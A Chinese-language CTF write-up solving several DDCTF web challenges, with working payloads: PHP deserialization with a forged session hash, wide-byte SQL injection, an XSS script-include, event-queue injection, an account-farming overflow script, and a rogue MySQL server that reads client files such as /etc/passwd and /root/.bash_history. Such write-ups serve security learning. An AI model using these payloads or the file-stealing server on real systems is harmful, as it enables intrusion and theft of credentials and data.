之前又是打比赛又是五月病,于是好久没更,该高产似那啥一波了x
滴~
这题真的是佛啦,一开始还以为是一道很简单的web签到题,看到title一串乱字符串就加个DDCTF然而并不是flag
F12可以看到一个看到一个用base64编码来解析为图片的代码段,然后url上有jpg应该是文件读取。然后尝试两次base64+一次base16成功解出是flag.jpg,于是用这个加密index.php获取源码。
解出来可以看到有两层过滤,一开始以为flag在config.php里然而绕不过去。于是去访问一下提示的博客,全篇在讲echo命令,感觉没什么关系。翻翻博主其他的博客,有篇关于swp文件的文章。看了一下然后尝试用python把.config.php.sw[p-a]都跑了一遍都没什么,然后看了看了评论区有人说.practice.txt.swp这个文件,于是和config.php同个操作依旧什么都没有。一脸懵逼之时想到之前拿swp文件时下载下来的都不带点,于是尝试一下practice.txt.swp就tm的拿到了flag文件【黑人问号.jpg
于是获取一下源码【!可以通过config替换绕过】
读一下一个变量覆盖,一个读文件内容与变量相同,那就用php://input
payload:
get ?k=php://input&uid=1
post 1
WEB 签到题
进去后F12 一下发现index.js
function auth() {
$.ajax({
type: "post",
url:"http://117.51.158.44/app/Auth.php",
contentType: "application/json;charset=utf-8",
dataType: "json",
beforeSend: function (XMLHttpRequest) {
XMLHttpRequest.setRequestHeader("didictf_username", "");
},
success: function (getdata) {
console.log(getdata);
if(getdata.data !== '') {
document.getElementById('auth').innerHTML = getdata.data;
}
},error:function(error){
console.log(error);
}
});
}
读一下可以知道需要在头部中传一个didictf_name的值过去
尝试几次后发现是admin
响应提示/app/fL2XID2i0Cdh.php
于是打开得到/app/Application.php和/app/Session.php的源码
先读一下/app/Application.php
<?php
// url:app/Application.php
Class Application {
var $path = '';
public function response($data, $errMsg = 'success') {
$ret = ['errMsg' => $errMsg,
'data' => $data];
$ret = json_encode($ret);
header('Content-type: application/json');
echo $ret;
}
public function auth() {
$DIDICTF_ADMIN = 'admin';
if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {
$this->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php');
return TRUE;
}else{
$this->response('抱歉,您没有登陆权限,请获取权限后访问-----','error');
exit();
}
}
private function sanitizepath($path) {
$path = trim($path);
$path=str_replace('../','',$path);
$path=str_replace('..\\','',$path);
return $path;
}
public function __destruct() {
if(empty($this->path)) {
exit();
}else{
$path = $this->sanitizepath($this->path);
if(strlen($path) !== 18) {
exit();
}
$this->response($data=file_get_contents($path),'Congratulations');
}
exit();
}
}
可以看到Application类的析构函数进行了文件读取,还对路径进行了过滤,不过我们可以双写绕过,而且处理后的文件路径长正好是18于是不用理那个长度判断
到这里可以猜测是要我们反序列化这个类去读取某个文件
然后再读/app/Session.php
<?php
// url:app/Session.php
include 'Application.php';
class Session extends Application {
//key建议为8位字符串
var $eancrykey = '';
var $cookie_expiration = 7200;
var $cookie_name = 'ddctf_id';
var $cookie_path = '';
var $cookie_domain = '';
var $cookie_secure = FALSE;
var $activity = "DiDiCTF";
public function index()
{
if(parent::auth()) {
$this->get_key();
if($this->session_read()) {
$data = 'DiDI Welcome you %s';
$data = sprintf($data,$_SERVER['HTTP_USER_AGENT']);
parent::response($data,'sucess');
}else{
$this->session_create();
$data = 'DiDI Welcome you';
parent::response($data,'sucess');
}
}
}
private function get_key() {
//eancrykey and flag under the folder
$this->eancrykey = file_get_contents('../config/key.txt');
}
public function session_read() {
if(empty($_COOKIE)) {
return FALSE;
}
$session = $_COOKIE[$this->cookie_name];
if(!isset($session)) {
parent::response("session not found",'error');
return FALSE;
}
$hash = substr($session,strlen($session)-32);
$session = substr($session,0,strlen($session)-32);
if($hash !== md5($this->eancrykey.$session)) {
parent::response("the cookie data not match",'error');
return FALSE;
}
$session = unserialize($session);
if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){
return FALSE;
}
if(!empty($_POST["nickname"])) {
$arr = array($_POST["nickname"],$this->eancrykey);
$data = "Welcome my friend %s";
foreach ($arr as $k => $v) {
$data = sprintf($data,$v);
}
parent::response($data,"Welcome");
}
if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) {
parent::response('the ip addree not match'.'error');
return FALSE;
}
if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) {
parent::response('the user agent not match','error');
return FALSE;
}
return TRUE;
}
private function session_create() {
$sessionid = '';
while(strlen($sessionid) < 32) {
$sessionid .= mt_rand(0,mt_getrandmax());
}
$userdata = array(
'session_id' => md5(uniqid($sessionid,TRUE)),
'ip_address' => $_SERVER['REMOTE_ADDR'],
'user_agent' => $_SERVER['HTTP_USER_AGENT'],
'user_data' => '',
);
$cookiedata = serialize($userdata);
$cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
$expire = $this->cookie_expiration + time();
setcookie(
$this->cookie_name,
$cookiedata,
$expire,
$this->cookie_path,
$this->cookie_domain,
$this->cookie_secure
);
}
}
$ddctf = new Session();
$ddctf->index();
在session_read()中发现了反序列化,但这个反序列化不是随便都行的,要通过一个hash的验证才行。而hash是通过一串在../config/key.txt中的密钥连接cookie然后进行md5后生成的(这里其实可以用哈希长度扩列攻击吧?)
然后在同个方法中又看到了这段
if(!empty($_POST["nickname"])) {
$arr = array($_POST["nickname"],$this->eancrykey);
$data = "Welcome my friend %s";
foreach ($arr as $k => $v) {
$data = sprintf($data,$v);
}
parent::response($data,"Welcome");
}
那我们可以通过将nickname=%s获得密钥
这下思路就很清晰了,于是开始操作
先访问一下Session.php获取初始的cookie,然后将cookie放在头部然后post nickname=%s
获得密钥EzblrbNS
然后构建反序列化字符串,
<?php
Class Application {
var $path = '....//config/flag.txt';
}
$o=new Application();
$session=serialize($o);
echo urlencode($session.md5("EzblrbNS".$session));
最后用burpsuit发送获得flag
Upload-IMG
图片上传的题,要求文件中带有phpinfo()。尝试修改了MIME绕过不了,把phpinfo()写在图片中也不行,于是将上传前的图片和上传后的图片对比一下看看过滤了什么
发现上传前后的图片头部有些许的修改,增加了一段数据,查了一下才知道是gb库的图片二次渲染,会把图片中的代码也给转化成jpg图片的部分
绕过的方法查gb库的时候顺便就找到了
绕过GD库渲染的Webshell生成器
用这里大佬写好的脚本,把里面payload修改一下然后进行运行处理一下图片就可以了。可能一次成功不了多试几张图就好
homebrew event loop
一道python的审计题,刚触碰python web所以就详细的分析一下源码
首先是开头的部分,是用flask框架搭建的web服务
from flask import Flask, session, request, Response
import urllib
app = Flask(__name__)
app.secret_key = '*********************' # censored
url_prefix = '/d5afe1f66747e857'
然后看到app.route()这里,传入该方法的参数都是对应页面的url,然后接着下面的方法是处理该页面的代码,于是读一下entry_point()
@app.route(url_prefix+'/')
def entry_point():
querystring = urllib.unquote(request.query_string)
request.event_queue = []
if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100:
querystring = 'action:index;False#False'
if 'num_items' not in session:
session['num_items'] = 0
session['points'] = 3
session['log'] = []
request.prev_session = dict(session)
trigger_event(querystring)
return execute_event_loop()
urllib.unquote(request.query_string)
是获得跟着url后的参数,就是?后面的部分,然后再用url解码。然后当传入为空或者不以action或者长度大于100时,跳回主界面。接下面的部分是设置session,然后request.prev_session
没查到是用来做什么的,但抓包会发现cookie中有个session的参数
用Flask-Unsign处理一下
会发现和设置的session值一样,看整个代码也没发现有其他地方进行了cookie的处理,于是猜测request.prev_session
是用来将需要的回传的参数进行加密后置入cookie中。
继续往下读看到trigger_event()
def trigger_event(event):
session['log'].append(event)
if len(session['log']) > 5: session['log'] = session['log'][-5:]
if type(event) == type([]):
request.event_queue += event
else:
request.event_queue.append(event)
这个方法是用来将要调用的事件放入队列中,当事件数量大于5时取后5个,然后能处理列表与字符串
最后调用execute_event_loop()
def execute_event_loop():
valid_event_chars = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')
resp = None
while len(request.event_queue) > 0:
event = request.event_queue[0] # `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"
request.event_queue = request.event_queue[1:]
if not event.startswith(('action:', 'func:')): continue
for c in event:
if c not in valid_event_chars: break
else:
is_action = event[0] == 'a'
action = get_mid_str(event, ':', ';')
args = get_mid_str(event, action+';').split('#')
try:
event_handler = eval(action + ('_handler' if is_action else '_function'))
ret_val = event_handler(args)
except RollBackException:
if resp is None: resp = ''
resp += 'ERROR! All transactions have been cancelled. <br />'
resp += '<a href="./?action:view;index">Go back to index.html</a><br />'
session['num_items'] = request.prev_session['num_items']
session['points'] = request.prev_session['points']
break
except Exception, e:
if resp is None: resp = ''
#resp += str(e) # only for debugging
continue
if ret_val is not None:
if resp is None: resp = ret_val
else: resp += ret_val
if resp is None or resp == '': resp = ('404 NOT FOUND', 404)
session.modified = True
return resp
这个方法会将trigger_event()
设置好的队列中所有的事件都遍历一遍,然后当事件非func和action开头时会直接结束。
is_action = event[0] == 'a'
action = get_mid_str(event, ':', ';')
args = get_mid_str(event, action+';').split('#')
def get_mid_str(haystack, prefix, postfix=None):
haystack = haystack[haystack.find(prefix)+len(prefix):]
if postfix is not None:
haystack = haystack[:haystack.find(postfix)]
return haystack
这里是event以a开头时is_action为真,反之。然后获得:和;之间的字符串作为方法名,然后;之后通过#分割的为传入的参数
再往下就是当is_action为真时连接_handle,否则连接_function。然后调用方法并传参,再接下去就是一堆异常处理
然后读一下比较重要的函数,比如这两个带flag的函数
def show_flag_function(args):
flag = args[0]
#return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it.
return 'You naughty boy! ;) <br />'
def get_flag_handler(args):
if session['num_items'] >= 5:
trigger_event('func:show_flag;' + FLAG()) # show_flag_function has been disabled, no worries
trigger_event('action:view;index')
可以看到show_flag_function直接访问也没有flag,get_flag_handler则需要我们购买的diamonds数大于等于5时才能获得flag
那就读一下buy_handler()
def buy_handler(args):
num_items = int(args[0])
if num_items <= 0: return 'invalid number({}) of diamonds to buy<br />'.format(args[0])
session['num_items'] += num_items
trigger_event(['func:consume_point;{}'.format(num_items), 'action:view;index'])
可以看到buy_handler函数之是进行了diamonds数的加操作,然后将consume_point()
放入了队列中,于是再读一下consume_point()
def consume_point_function(args):
point_to_consume = int(args[0])
if session['points'] < point_to_consume: raise RollBackException()
session['points'] -= point_to_consume
consume_point()
则是对points进行减,当要减的值小于diamonds时就会进行回滚,让diamonds还原
分析完源码,很奇怪buy_handler和consume_point为什么要分开写,或者先判断是否points足够不是更好吗,于是就想这之间会不会有什么逻辑漏洞存在。
如果说我们能在获得第5个diamonds时,在触发consume_point之前就先触发get_flag_handler,那我们不就能获得flag了。顺着这个想法,我们可以看到trigger_event()
是可以将多个事件放入队列中的,而buy_handler是将consume_point放到队尾,那我们只要能往trigger_event()
用列表传多个数据过去那不就可以了。而能用来传队列值的地方只有这里
event_handler = eval(action + ('_handler' if is_action else '_function'))
ret_val = event_handler(args)
这里我们可以用#来绕过,让后面接上的值无效。然后再传我们要执行的方法作为参数就ok
于是payload就是:
?action:trigger_event%23;action:buy;1%23action:buy;1%23action:get_flag;1
这里不用%23会出错,然后get_flag_handle也是需要传值的,不然也是不行【这里是现在浏览器端进行了三次购买操作后的payload
最后再去cookie中拿出session解码获得flag
不过这题我还有其他的想法,比如用trigger_event()
给consume_point_function传入一个负数值也许可以让points变大?或者故意触发points不足,然后在回滚时是会去读取用户cookie里session中的值的,我们只要修改并加密,再将cookie回传不就可以获得将points设为任意我们想要的了?
欢迎报名DDCTF
一道xss+sql注入的题
拿题先扫一下,发现了几个页面
login怎么搞没什么效果,admin不允许访问,但题目提示了xss不是用来拿cookie,那应该是用来拿admin页面的源码,于是找xss注入点
在第三个输入框处有xss注入点,于是上<script src="//address">
获得源码,不过复现时一直不行,可能是机器人关了?拿其他大佬搞到的代码时ok的来着
然后看拿到的admin源码,发现一个query_aIeMu0FUoVrW0NWPHbN6z4xh.php接口,于是访问一下提示传id,于是抓包发现编码时gbk
于是猜测可能是宽字节注入
然后尝试到5个参数时有回显,于是直接一个个读
Payload:
3%df%27%20union%20select%201,2,3,4,5%23
3%df%27%20union%20select%201,2,3,4,group_concat(schema_name)%20from%20information_schema.schemata%23
3%df%27%20union%20select%201,2,3,4,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=0x6374666462%23
3%df%27%20union%20select%201,2,3,4,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=0x6374665f66686d4852504c35%23
3%df%27%20union%20select%201,2,3,4,group_concat(ctf_value)%20from%20ctfdb.ctf_fhmHRPL5%23
最后这里没反应到不是同一个数据库卡了好久orz
大吉大利,今晚吃鸡~
这题注册登录进去后,点击立即购买就会生成一个2000元的支付订单,然而并没有这么多钱,于是找绕过点。再次点击然后看看发送了什么请求
发现了一个get传ticket_price的请求
抓包修改一下值提示不得小于2000元,用非数字直接出错
这里学到一个新姿势——整数溢出,当大于2^32时,最高位的1会溢出舍去,只剩后32位。于是这里我们传4294967297(2^32+1),然后再支付,这样我们实际上就只支付了1元
然后进到吃鸡界面发现要输入id和ticket淘汰对手,于是上脚本注册一堆小号一个个淘汰,最终得flag
# -*- coding: utf-8 -*-
import base64
import requests
import re
user_cookie = {'user_name':'shifenghhh','REVEL_SESSION':'0bf7b810d7a83663760923a04529c56c'}
for i in range(1000):
user = 'shifenglooll'+str(i)
url1 = "http://117.51.147.155:5050/ctf/api/register?name="+user+"&password=123456789"
http1 = requests.get(url1)
REVEL_SESSION = re.findall(r"REVEL_SESSION=(.*?);",http1.headers['Set-Cookie'])[0]
url2 = "http://117.51.147.155:5050/ctf/api/buy_ticket?ticket_price=4294967299"
cookie = {'user_name':user,'REVEL_SESSION':REVEL_SESSION}
http2 = requests.get(url2,cookies=cookie)
bill_id = re.findall(r"\"bill_id\":\"(.*?)\",",http2.content)[0]
url3 = "http://117.51.147.155:5050/ctf/api/pay_ticket?bill_id="+bill_id
http3 = requests.get(url3,cookies=cookie)
your_id = re.findall(r"\"your_id\":(.*?),",http3.content)[0]
your_ticket = re.findall(r"\"your_ticket\":\"(.*?)\"",http3.content)[0]
url4 = "http://117.51.147.155:5050/ctf/api/remove_robot?id="+your_id+"&ticket="+your_ticket
http4 = requests.get(url4,cookies=user_cookie)
print http4.content
【不会多线程呀(跪
mysql弱口令
一道关于反mysql扫描器的题,进去提示将agent.py部署在公网服务器上,然后对mysql开启的端口进行弱密码扫描
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time : 12/1/2019 2:58 PM
# @Author : fz
# @Site :
# @File : agent.py
# @Software: PyCharm
import json
from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler
from optparse import OptionParser
from subprocess import Popen, PIPE
class RequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
request_path = self.path
print("\n----- Request Start ----->\n")
print("request_path :", request_path)
print("self.headers :", self.headers)
print("<----- Request End -----\n")
self.send_response(200)
self.send_header("Set-Cookie", "foo=bar")
self.end_headers()
result = self._func()
self.wfile.write(json.dumps(result))
def do_POST(self):
request_path = self.path
# print("\n----- Request Start ----->\n")
print("request_path : %s", request_path)
request_headers = self.headers
content_length = request_headers.getheaders('content-length')
length = int(content_length[0]) if content_length else 0
# print("length :", length)
print("request_headers : %s" % request_headers)
print("content : %s" % self.rfile.read(length))
# print("<----- Request End -----\n")
self.send_response(200)
self.send_header("Set-Cookie", "foo=bar")
self.end_headers()
result = self._func()
self.wfile.write(json.dumps(result))
def _func(self):
netstat = Popen(['netstat', '-tlnp'], stdout=PIPE)
netstat.wait()
ps_list = netstat.stdout.readlines()
result = []
for item in ps_list[2:]:
tmp = item.split()
Local_Address = tmp[3]
Process_name = tmp[6]
tmp_dic = {'local_address': Local_Address, 'Process_name': Process_name}
result.append(tmp_dic)
return result
do_PUT = do_POST
do_DELETE = do_GET
def main():
port = 8123
print('Listening on localhost:%s' % port)
server = HTTPServer(('0.0.0.0', port), RequestHandler)
server.serve_forever()
if __name__ == "__main__":
parser = OptionParser()
parser.usage = (
"Creates an http-server that will echo out any GET or POST parameters, and respond with dummy data\n"
"Run:\n\n")
(options, args) = parser.parse_args()
main()
这个agent.py应该是用来作为8123端口上的一个服务器,然后扫描器会从该端口进入访问我们准备好的端口
这题利用的是mysql中LOAD DATA INFILE这个语法,它在客户端具有CLIENT_LOCAL_FILES属性时,能够读取客户端的任意文件
具体看这
[Read MySQL Client's File
](https://lightless.me/archives/read-mysql-client-file.html)
于是我们可以伪造一个mysql服务端,修改连接请求,就能获得攻击方的文件
这里找了个github上写好的脚本,修改一下然后在服务器上运行,然后让扫描器扫描就可以了。
#!/usr/bin/env python
#coding: utf8
import socket
import asyncore
import asynchat
import struct
import random
import logging
import logging.handlers
PORT = 3307
log = logging.getLogger(__name__)
log.setLevel(logging.DEBUG)
# tmp_format = logging.handlers.WatchedFileHandler('mysql.log', 'ab')
tmp_format = logging.StreamHandler()
tmp_format.setFormatter(logging.Formatter("%(asctime)s:%(levelname)s:%(message)s"))
log.addHandler(
tmp_format
)
filelist = (
# r'c:\boot.ini',
# r'c:\windows\win.ini',
# r'c:\windows\system32\drivers\etc\hosts',
'/etc/passwd',
# '/root/.bash_history',
# '/home/dc2-user/ctf_web_2/app/main/views.py',
# '/var/lib/mysql/security/flag.idb',
# '/root/.mysql_history',
# '/etc/shadow',
)
#================================================
#=======No need to change after this lines=======
#================================================
__author__ = 'Gifts'
def daemonize():
import os, warnings
if os.name != 'posix':
warnings.warn('Cant create daemon on non-posix system')
return
if os.fork(): os._exit(0)
os.setsid()
if os.fork(): os._exit(0)
os.umask(0o022)
null=os.open('/dev/null', os.O_RDWR)
for i in xrange(3):
try:
os.dup2(null, i)
except OSError as e:
if e.errno != 9: raise
os.close(null)
class LastPacket(Exception):
pass
class OutOfOrder(Exception):
pass
class mysql_packet(object):
packet_header = struct.Struct('<Hbb')
packet_header_long = struct.Struct('<Hbbb')
def __init__(self, packet_type, payload):
if isinstance(packet_type, mysql_packet):
self.packet_num = packet_type.packet_num + 1
else:
self.packet_num = packet_type
self.payload = payload
def __str__(self):
payload_len = len(self.payload)
if payload_len < 65536:
header = mysql_packet.packet_header.pack(payload_len, 0, self.packet_num)
else:
header = mysql_packet.packet_header.pack(payload_len & 0xFFFF, payload_len >> 16, 0, self.packet_num)
result = "{0}{1}".format(
header,
self.payload
)
return result
def __repr__(self):
return repr(str(self))
@staticmethod
def parse(raw_data):
packet_num = ord(raw_data[0])
payload = raw_data[1:]
return mysql_packet(packet_num, payload)
class http_request_handler(asynchat.async_chat):
def __init__(self, addr):
asynchat.async_chat.__init__(self, sock=addr[0])
self.addr = addr[1]
self.ibuffer = []
self.set_terminator(3)
self.state = 'LEN'
self.sub_state = 'Auth'
self.logined = False
self.push(
mysql_packet(
0,
"".join((
'\x0a', # Protocol
'5.6.28-0ubuntu0.14.04.1' + '\0',
'\x2d\x00\x00\x00\x40\x3f\x59\x26\x4b\x2b\x34\x60\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x69\x59\x5f\x52\x5f\x63\x55\x60\x64\x53\x52\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00',
)) )
)
self.order = 1
self.states = ['LOGIN', 'CAPS', 'ANY']
def push(self, data):
log.debug('Pushed: %r', data)
data = str(data)
asynchat.async_chat.push(self, data)
def collect_incoming_data(self, data):
log.debug('Data recved: %r', data)
self.ibuffer.append(data)
def found_terminator(self):
data = "".join(self.ibuffer)
self.ibuffer = []
if self.state == 'LEN':
len_bytes = ord(data[0]) + 256*ord(data[1]) + 65536*ord(data[2]) + 1
if len_bytes < 65536:
self.set_terminator(len_bytes)
self.state = 'Data'
else:
self.state = 'MoreLength'
elif self.state == 'MoreLength':
if data[0] != '\0':
self.push(None)
self.close_when_done()
else:
self.state = 'Data'
elif self.state == 'Data':
packet = mysql_packet.parse(data)
try:
if self.order != packet.packet_num:
raise OutOfOrder()
else:
# Fix ?
self.order = packet.packet_num + 2
if packet.packet_num == 0:
if packet.payload[0] == '\x03':
log.info('Query')
filename = random.choice(filelist)
PACKET = mysql_packet(
packet,
'\xFB{0}'.format(filename)
)
self.set_terminator(3)
self.state = 'LEN'
self.sub_state = 'File'
self.push(PACKET)
elif packet.payload[0] == '\x1b':
log.info('SelectDB')
self.push(mysql_packet(
packet,
'\xfe\x00\x00\x02\x00'
))
raise LastPacket()
elif packet.payload[0] in '\x02':
self.push(mysql_packet(
packet, '\0\0\0\x02\0\0\0'
))
raise LastPacket()
elif packet.payload == '\x00\x01':
self.push(None)
self.close_when_done()
else:
raise ValueError()
else:
if self.sub_state == 'File':
log.info('-- result')
log.info('Result: %r', data)
if len(data) == 1:
self.push(
mysql_packet(packet, '\0\0\0\x02\0\0\0')
)
raise LastPacket()
else:
self.set_terminator(3)
self.state = 'LEN'
self.order = packet.packet_num + 1
elif self.sub_state == 'Auth':
self.push(mysql_packet(
packet, '\0\0\0\x02\0\0\0'
))
raise LastPacket()
else:
log.info('-- else')
raise ValueError('Unknown packet')
except LastPacket:
log.info('Last packet')
self.state = 'LEN'
self.sub_state = None
self.order = 0
self.set_terminator(3)
except OutOfOrder:
log.warning('Out of order')
self.push(None)
self.close_when_done()
else:
log.error('Unknown state')
self.push('None')
self.close_when_done()
class mysql_listener(asyncore.dispatcher):
def __init__(self, sock=None):
asyncore.dispatcher.__init__(self, sock)
if not sock:
self.create_socket(socket.AF_INET, socket.SOCK_STREAM)
self.set_reuse_addr()
try:
self.bind(('', PORT))
except socket.error:
exit()
self.listen(5)
def handle_accept(self):
pair = self.accept()
if pair is not None:
log.info('Conn from: %r', pair[1])
tmp = http_request_handler(pair)
z = mysql_listener()
# daemonize()
asyncore.loop()
不过有点奇怪的是如果我停止3306端口上运行的
mysql,运行这个脚本,就会提示mysql未开启,需要修改一下agent.py才行。而换一个端口去运行就没这个问题【之后再研究看看
先获取/etc/passwd,读INFO:Result那个部分就好
然而没什么有用的,于是读/root/.bash_history
用脚本处理一下换行,会找到这样一段命令记录
cd /home/dc2-user/ctf_web_2/
ls
cd app/
ls
cd main/
ls
vim views.py
那就读一下/home/dc2-user/ctf_web_2/app/views.py
同样也是处理一下,然后可以看到有一段注释# flag in mysql curl@localhost database:security table:flag\r
那就去读一下flag表 /var/lib/mysql/security/flag.idb
但不知道为什么(可能是被删掉了),一直错误。于是尝试去读MySQL的操作记录,/root/.mysql_history
得到flag
再来1杯Java
看名字就知道是JAVA web的题
先根据提示修改一下host进入网站,提示要成为admin用户。看页面没到找什么能搞的地方,于是bp抓个包
看history可以看到,有两个接口,于是访问一下看看
发现account_info是获得用户身份,gen_token则是获得token。然后看token感觉像base64加密后的值,于是尝试解码一下
可以看到,这里提示了CBC加密,然后看返回的token长为48位,而account_info返回的json字符串长在32位以内,于是猜测前面位iv后面位密文
那接下来的目标就是要把roleAdmin
的值改为1(不太清楚为什么可以,明明java是强类型)。既然是CBC加密,那就上CBC翻转。
由于我们获得不到修改过一次后的iv值,于是不能直接把false改成true。这里我们要通过修改iv去控制第一段,同时将第二段置为脏字符,然后再修改第二段控制第三段{"roleAdmin":1,"xxxxxxxxxxxxxxxx":"1","id":001}
大概就是要弄成这样
这里控制iv改第一段很简单,iv^明文^目标
就ok。但第三段不好控制,因为第三段不存在,我们要拿前两段其中一段作为第三段,然后再对第二段进行一下处理
我们知道CBC加密解密时是在key解密后和加密段异或,那么如果要更改加密段,就要先明文^加密段获得key解密后的密文,再key解密后的密文^新加密段获得新明文。然后就是正常程序,用新明文^新加密段^目标就能控制添加的段
于是用第一段明文^iv^第二段^第二段^目标
得到第二段,然后把第一段接上即可。于是上脚本解决
搞定后提交访问,会多出一个下载的按钮
下载可以获得hint。
提示了
1. Env: Springboot + JDK8(openjdk version "1.8.0_181") + Docker~
2. You can not exec commands~
用了spring框架同时不能执行命令
这里当然也抓包试一下,发现了一个可能是任意读取文件的接口
然后一波操作下去发现只能得到/etc/passwd,而且也没什么用,于是试着跑一下进程目录/proc/self/fd/
【少用intruder于是记录一下省得又忘了
可以明显看到15是有什么东西,读一下发现开头是pk
于是用python访问读取并二进制保存为zip,解压出来为一份源码